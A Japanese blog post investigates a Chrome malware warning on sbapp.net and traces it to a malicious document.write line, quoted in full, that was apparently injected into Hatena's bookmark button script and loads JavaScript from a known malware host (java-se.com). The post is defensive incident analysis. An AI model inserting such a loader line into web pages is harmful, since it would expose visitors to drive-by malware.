情報科学屋さんを目指す人のメモ

方法・手順・解説を書き残すブログ。私と同じことを繰り返さずに済むように。

【Chrome】「アクセス先のサイトで不正なソフトウェアを検出しました」の警告文について

Chrome (67) Windows (248) セキュリティ (62)

Chromeを使っていたところ、見慣れない「アクセス先のサイトで不正なソフトウェアを検出しました」というエラーが表示されました。記録しておきます。

アクセスしたサイトと表示されたメッセージ

sbapp.net というドメインのブログを開いたところ、レンダリングが開始された直後くらいに、「アクセス先のサイトで不正なソフトウェアを検出しました」というエラー文が、赤い画面(セキュリティーエラー)に突然表示されました。

chrome-malware-alert-message

アクセス先のサイトで不正なソフトウェアを検出しました。

現在、jdk-7u12-windows-i586.java-se.com では、悪意のあるユーザーがご利用のパソコンに危険なプログラム(写真、パスワード、メッセージ、クレジット カード番号などを盗み取るか削除するプログラム)をインストールしようとしている可能性があります。

セキュリティに関する事象についての詳細を Google に自動送信します。プライバシー ポリシー

詳細を非表示 [セキュリティで保護されたページに戻る]

では最近、Google セーフ ブラウジングにより、不正なソフトウェアが検出されましたsbapp.net。通常は安全なウェブサイトであっても、不正なソフトウェアに感染している場合があります。今回の悪意のあるコンテンツは、不正なソフトウェアの既知の配布元である「jdk-7u12-windows-i586.java-se.com」からもたらされました

危険なプログラムが削除されるより前にこの安全でないサイトにアクセスする場合は、セキュリティ上のリスクについてご承知おきください。

(詳細表示の部分に、微妙に日本語訳が怪しいところが見つかります)

現状、他のページへのアクセス時には一切表示されない警告です。初めてでした。また、Chromeのシークレットモードにしてアクセスしても、同じエラーが出たので、Chrome拡張が暴走したというわけでもなさそうでした(シークレットモードでは無効化しているので)。

危ないサイトから不正なプログラムをインストールさせられそうになったということ?

最初、カスペルスキーが表示した警告かと思ったのですが、その文章からして、Chromeが表示しているようでした。

悪意のあるユーザーがご利用のパソコンに危険なプログラムをインストールしようとしている」と「今回の悪意のあるコンテンツは、不正なソフトウェアの既知の配布元であるjdk-7u12-windows-i586.java-se.comからもたらされました」とあるように、sbapp.netに接続したときに読み込む何かの影響で、その怪しいjava-se.comというドメインの悪意のあるソフトウェアをインストールさせられそうになったということを意味しています。

java-se.com

java-se.comというドメインはとてもそれっぽく見えたのですが、2014年6月4日に取得されたばかりの、出所不明なドメインでした。

先ほどのエラーメッセージの「セーフブラウジング」のところをクリックすると、次の詳細情報を得ることができました。

chrome-safe-browsing-java-se-com

セーフ ブラウジング
診断ページ: java-se.com

java-se.com の現在の状況
疑わしいサイトとして認識されています。このウェブサイトにアクセスするとコンピュータに損害を与える可能性があります

過去 90 日間に、このサイトの一部で不審な動きが 1 回検出されています。

Google がこのサイトを巡回したときの状況
このサイトで過去 90 日間に Google がテストした 2 ページのうち 1 ページで、ユーザーの同意なしに不正なソフトウェアがダウンロードされ、インストールされていたことが判明しました。Google が最後にこのサイトを巡回したのは 2014-10-14 で、このサイトで不審なコンテンツが最後に検出されたのは 2014-10-14 です。 このサイトは 1 個のネットワーク(AS7506 (INTERQ) など)でホストされていたことが判明しました。

不正なソフトの感染を広げる媒介をしていたかどうか
過去 90 日間に java-se.com が他サイトへの感染媒体となっていた形跡はありません。

サイトで不正なソフトウェアをホストしていたかどうか
はい、このサイトでは過去 90 日間に不正なソフトウェアのホスティングが行われ、37 個のドメイン(blog.goo.ne.jp/nakazato-hitoshi/, vip2ch.com/, shimamurakun.net/ など)への感染が判明しています

原因
第三者が正当なサイトに不正なコードを追加したことが原因で、警告メッセージが表示される可能性があります。

次のステップ:
前のページに戻ってください。
このウェブサイトの所有者の場合は、Google ウェブマスター ツールを使用してサイトの審査をリクエストできます。審査手続きの詳細については、Google ウェブマスター ヘルプセンターをご覧ください。

「37個のドメイン」とやらを一覧することはできないのですが、いくつかのドメインのサイトが、java-se.comの不正なソフトウェアに感染していたということが読み取れます。

Chromeのフィッシング・不正なソフトウェア用エラーメッセージ

Chromeが表示した警告文で検索すると、「フィッシングや不正なソフトウェアのアラート」というページが見つかり、Chromeが表示する3つの警告メッセージがわかりました。

しかし、そのメッセージは「ウェブサイトの不正なソフトウェアを事前に検出しました。」「警告: 不正なソフトウェアを事前に検出しました。」「フィッシングが報告されたウェブサイトを事前に検出しました。」の3つで、どれも微妙に違っています。

結局、今回遭遇した「アクセス先のサイトで不正なソフトウェアを検出しました。」という警告メッセージとぴったり一致するメッセージは見当たりませんでした。

最近このセーフブラウジング機能がアップデートされて、文章が変更になったものの、まだヘルプの更新が追いついていない、とかかもしれません。

詳細は不明

というわけで、あまり有名ではないメッセージのようなので、このメッセージが表示される原因の詳細はまだ調べていないのですが、取り急ぎ、書いておきました。

追加:調査してみた

ちょっと調査してみたので、もう少し詳細を追加します。いつものように、あまり整理せず生に近い調査内容を書いておきます。

まず、あの警告が表示されたのは、スクリーンショットに含めておいたURL(http://sbapp.net/appnews/line-15-8764)のページのみ。その際、同じドメインの他のページを数ページ見てみても、同じ警告は発生せず。

他のPCでアクセスしてみたら特に警告が出なかったので大丈夫なのかと、警告を無視して進んで、ChromeのDeveloper ToolsのNetworkタブを使って、どういう経緯でjava-se.comにアクセスしてしまっているのかを調査してみました。

まず、java-se.comへのアクセスは、具体的には「http://jdk-7u12-windows-i586.java-se.com/bk/1.js」というファイルへのアクセスでした。しかし、403 Forbiddenで、アクセスに失敗しています。

そして、そのjava-seへのアクセスの呼び出し元は、「rocket.js:4」と表示されていました(:4は4行目ってだけ)。

そこからたどると、そのファイルは「http://sbapp.net/cdn-cgi/nexp/dok2v=1613a3a185/cloudflare/rocket.js」で、このファイル自体は「cloudflare.min.js:3」から呼び出されていました。

そして、最終的にこのcloudflare.min.jsは、「http://ajax.cloudflare.com/cdn-cgi/nexp/dok2v=919620257c/cloudflare.min.js」で、その呼び出し元が「line-15-8764:8」、つまり、ページのHTMLに埋め込まれているものでした。

したがって、HTML>cloudflare.min.js>rocket.js>java-se.comという経路で、怪しいサイトへアクセスするようになってしまっていたようです。

java-se-com-access-path

ここで、rocket.jsのコードを見てみましたが、直接「java-se.com」というドメインが埋め込まれている、ということはありませんでした。長いJavaScriptなので、ぱっと見たくらいではわからないのですが、それをChromeが実行した結果、java-se.comにアクセスするようになっているみたいです。

CloudFlareの詳しい仕組みは知らず、rocket.jsの振る舞いもわからないのですが、CloudFlare上のファイル(キャッシュ)が一部汚染されていたと考えると、「特定のページが使用するリソースだけが汚染されていたから、1ページでしか警告が表示されなかった」、だとか、「特定の配信サーバー上のキャッシュだけが汚染されていてアクセスする配信サーバーがユーザーによって違うから再現しにくい」、とか、そういうことがあるのかな、と思ったりしましたs。

ただ、それだとちょっとなんかもやっとするので、rocket.jsの振る舞いについて調べてみました。すると、運良く公式の説明、しかも今年の8月のものがありました。

参考:What does Rocket Loader™ do? – CloudFlare Support

そのリンク先を読むと、これは単にJavaScriptなどの読み込みタイミングを最適化して、ページの描画速度を上げるためのもののようでした。なので、サイト表示高速化は関係あっても、CDNは関係なさそうな感じ。というより、この意味だとHTMLにjava-se.comのJavaScriptタグが埋め込まれているはずだ、となります。

そこで、そのままDeveloper Toolsで見てみると、ページのHTML(描画後のDOM)に先ほどの「http://jdk-7u12-windows-i586.java-se.com/bk/1.js」をロードするコードが埋め込まれていることが分かりました

<script language="javascript" data-rocketsrc="http://jdk-7u12-windows-i586.java-se.co.m/bk/1.js" type="text/rocketscript" data-rocketoptimized="true"></script>

もちろん、HTMLソースにjava-se.comが埋め込まれていないことくらい最初に見ていたので、このjava-se.comを読み込むコードは、どこかのJavaScriptなどによって追加されたと予想されます。

そして、その後にrocket.jsが書き換えた結果、「data-rocketsrc」なんていう表記になっている、と。

ただ、これを特定するのがかなり困難そうでした。

そこで、警告が出ない別のページのJavaScriptたちと差分を見つけることにしました。

しかし、そこで適当に「http://sbapp.net/appnews/appsale-375-11677」を表示してみたのですが、ここでもDevelpper Tools上で、同じくjava-se.comを読み込むコードが見つかりました

java-se-com-load-code

というわけでもう一度考え直しで、HTMLソースを編集して、どのJavaScriptが原因かを探ることにしたのですが、HTMLをダウンロードして~はちゃんと動くか怪しいし、Chromeで最初のHTML読み込み直後時点のDOMを書き換える方法も、もちろんどのJavaScriptがその読み込みコードを挿入しているかを監視する方法も分からなかったので、hostsファイルで、外部ドメインにアクセスできないようにして、原因となりそうなJavaScriptの候補数を減らすことにしました。

最初に「cloudflare.com」と「ajax.cloudflare.com」をアクセス不能にしてみたのですが、これだけで、java-sc.comのJavascriptをロードするコードが消えました。

さらにここから、java-sc.comにアクセスしない別PCとの差分を調べるために、WEBページを完全保存して、その差分をとってみると、java-sc.comの1.js(ただし中身はエラー)以外にもう一つ、QVgT_GivKzo.jsという差分があることが分かりました。URLは「https://fbstatic-a.akamaihd.net/rsrc.php/v2/yP/r/QVgT_GivKzo.js」で、呼び出し元は「http://www.facebook.com/plugins/like.php?app_id=...」で、いいねボタンでした。

ここで、「fbstatic-a.akamaihd.net」をブロックしてもjava-se.comの読み込みは変わらず、「www.facebook.com」をブロックしても変わらなかったので、これは無関係っぽそうと判断。

さらにここで、Developer ToolsにSearchタブがあったことを思い出し、「java-se.com」で検索してみると、見事に「b.st-hatena.com/js/bookmark_button.js」の1行目に怪しいコードが挿入されていることを確認できました。

document.write("<script language=javascript src=http:\/\/jdk-7u12-windows-i586.java-se.com/bk/1.js\>\<\/script>");
var Hatena = Hatena || {};

/* UTF-8 でないページから読み込まれても動くように、
 * コメントは複数行コメント (閉じる "*" の前にスペースを置く) を使い、
 * 文字列リテラル中の ASCII 外の文字は \uXXXX とエスケープする。
 */

(function (Hatena) {
(以下略)

自分のサイトでもbookmark_button.jsを読み込んでいるのですが、そちらではこの1行目がなく、また、直接ブラウザで.jsを開いても、その一行目ありませんでした。

そして、sbapp.comでは、このコードを読み込んでいるコードが

<script data-rocketsrc="https://apis.google.com/js/plusone.js" type="text/rocketscript" >{lang: "ja"}</script><script data-rocketsrc="http://b.st-hatena.com/js/bookmark_button.js" charset="utf-8" async="async" type="text/rocketscript" ></script><script data-rocketsrc="http://static.evernote.com/noteit.js" type="text/rocketscript" ></script><script data-rocketsrc="http://platform.tumblr.com/v1/share.js" type="text/rocketscript" ></script><script type="text/rocketscript">!function(d,i){if(!d.getElementById(i)){var j=d.createElement("script");j.id=i;j.src="https://widgets.getpocket.com/v1/j/btn.js?v=1";var w=d.getElementById(i);d.body.appendChild(j);}}(document,"pocket-btn-js");</script><div id="fb-root"></div><script type="text/rocketscript">(function(d, s, id) { var js, fjs = d.getElementsByTagName(s)[0]; if (d.getElementById(id)) return; js = d.createElement(s); js.id = id;js.async = true; js.src = "//connect.facebook.net/ja_JP/all.js#xfbml=1"; fjs.parentNode.insertBefore(js, fjs);}(document, "script", "facebook-jssdk"));</script><script type="text/rocketscript">!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs");</script></body>

であり、cloudflareから読み込んでるの?となりました。

そこで、Chrome側で追加しちゃってるのか、ネットワーク側からやってきているのかが分からないので、WireSharkで検証することにしました。ただ、bookmark_button.jsを読み取るパケットは見つかりませんでした(キャッシュしちゃってるのか?でもキャッシュを消すと再現できなくなるから今のところ全キャッシュクリアはできない。Networkタブには無いけれどSourcesタブにはあるファイルの扱いがよく分からない)。

ここで、java-se.comへのリンクが挿入される改ざん被害に関するページを…

(ここで書くのを止め、調査結果は「はてなブックマークボタンのJSが改ざんされマルウェア感染を媒介していた可能性について」に書きました)

コメント(1)

  1. SBAPP
    2014年10月17日(金) 08:44

    お世話になります。
    SBAPPを管理しておりますFunakiと申します。
    ご報告頂いた件なんですが、Chrome(シークレット・ウィンドウ)でスクリーンショットと同様のページを開いたのですが、私の方では警告を確認出来ませんでした。
    勿論そういったプログラムのインストールを促すような事もしておりません。
    当サイトにアクセスして頂いたのは今回が初めてでしょうか?

新しいコメントを投稿